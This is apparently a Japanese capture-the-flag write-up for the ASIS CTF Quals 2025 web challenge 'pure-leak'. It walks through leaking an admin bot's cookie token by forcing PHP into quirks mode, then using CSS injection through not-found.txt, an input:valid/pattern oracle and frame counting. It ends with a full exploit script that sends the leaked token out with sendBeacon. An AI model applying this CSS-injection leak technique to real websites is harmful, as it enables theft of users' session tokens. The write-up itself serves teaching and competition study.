- Source: ASIS CTF Quals 2025
- Author: Ark
PHP製のWebページがある。目標はadmin botのtokenを特定すること。
<?php
function validate(mixed $input): string {
if (!is_string($input)) return "Invalid types";
if (strlen($input) > 1024) return "Too long";
if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
return $input;
}
?>
<!DOCTYPE html>
<html>
<body>
<h1>pure-leak 🫨</h1>
<h3>Source</h3>
<pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
<h3>Content</h3>
<?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n"; ?>
<h3>Token</h3>
<?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>
<h3>Usage</h3>
<a href="/?content=your_input">/?content=your_input</a>
</body>
</html>
まず自明なHTML injectionがある。試しに?content=<s>hoge</s>へアクセスしてみると、ちゃんと打消し線が引かれていることが分かる。

しかしentrypoint.shを見るとかなり厳しいCSPヘッダが付与されており、XSSやCSS Injectionは難しそうに見える。
#!/bin/sh
set -eu
# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
exec caddy run --config /tmp/Caddyfile
ここでPHPの警告を利用し、強制的にWebページをQuirks Modeにする。詳しくはこのページを参照してもらいたいが、HTMLの頭に<!DOCTYPE html>が付いているとブラウザはtext/htmlとして解釈するが、付いていなければそれ以外のcontent-typeとして解釈する場合がある。
そして、この問題ではクエリパラメータが1000個以上ある時にPHPが最初に(<!DOCTYPE html>よりも前に)警告を返すため、Quirks Modeになるらしい。
const path = "/?" + "&a".repeat(1001);
location = path;
これでCSS Injectionができるようになったが、validationが行われるため単純にstyleタグを用いるのは難しい。そこでPHP組み込みの/not-found.txtを用いる。このページにはユーザー入力がそのまま反映される部分があるため、これをCSS Injectionに活用する。
(少々飛躍しているが)これでCSS Injectionが機能した。
const content = `<link href="/not-found.txt?{}body{background:limegreen}" rel=stylesheet>`
const path = `/?content=${encodeURIComponent(content)}` + "a&".repeat(1001);
location = path;
あとはこれでtokenをリークしたいが、2つ問題がある。
- validationによって
[]が封じられているため、inputの属性セレクタが使えない - CSPが
default-src 'self'; base-uri 'none'となっているため、image urlを用いたXS-leakができない
1に対しては、has(input:valid)とpatternを用いることで解決できる。具体的には、
const pattern = "TOKEN_0"
const content = `
<link href="/not-found.txt?{}div:has(input:valid){background:limegreen}" rel=stylesheet>
<div>
<input pattern=".+${pattern}.+" value="
`;
const path = `/?content=${encodeURIComponent(content)}` + "a&".repeat(1001);
location = path;
const pattern = "TOKEN_X"
const content = `
<link href="/not-found.txt?{}div:has(input:valid){background:limegreen}" rel=stylesheet>
<div>
<input pattern=".+${pattern}.+" value="
`;
const path = `/?content=${encodeURIComponent(content)}` + "a&".repeat(1001);
location = path;
のようにTOKENをinputタグの中に埋め込み、patternに一致しているか否かでCSSを分岐させることができる。
2に対しては、embedタグ内にstyleタグが存在するか否かをframe-countingで評価する。styleタグにdisplay:noneを指定するとwindow.lengthの値が増えないため、これをオラクルとして用いることができる。
これらを用いてtokenをリークするスクリプトをホストし、botにアクセスさせる。
……と思ったが、確かにこれでtokenのリークはできていそうだが、botがページを開いている時間(20秒)では足らず、16文字のうち8~12文字しか得られない。困った。
ということで、リークできるギリギリを探ってsleepの時間調整を行う。最終的にこのスクリプトでtokenのリークができた。
<script>
const leak = async () => {
const BASE_URL = "http://web:3000";
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
const w = open("", "_blank");
await sleep(100);
let token = "TOKEN_";
const charset = "0123456789abcdef";
const match = async (pattern) => {
w.location = await "about:blank";
await sleep(50);
const content = `
<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
<div>
<embed code="x" type=text/html>
<input pattern=".+${pattern}.+" value="
`;
const url = `${BASE_URL}?content=${encodeURIComponent(
content
)}${"&a".repeat(1001)}`;
w.location = url;
await sleep(80);
return w.length === 0; // frame counting
};
// token length is 16
for (let i = 0; i < 16; i++) {
for (const c of charset) {
const attempt = token + c;
if (await match(attempt)) {
token = attempt;
navigator.sendBeacon(`/?partial=${token}`);
break;
}
}
}
navigator.sendBeacon(`/?token=${token}`);
};
leak();
</script>
tokenの各桁が大きいほどleakに時間がかかるため、このスクリプトの場合は0~3のような小さい数字が多くc~fのような大きい数字が少ないtokenを引けるまでお祈りになる。
この得られたtokenをbot側の画面から投げるとflagが得られた。
ASIS{silksooooooong_9_4_y4y!!}







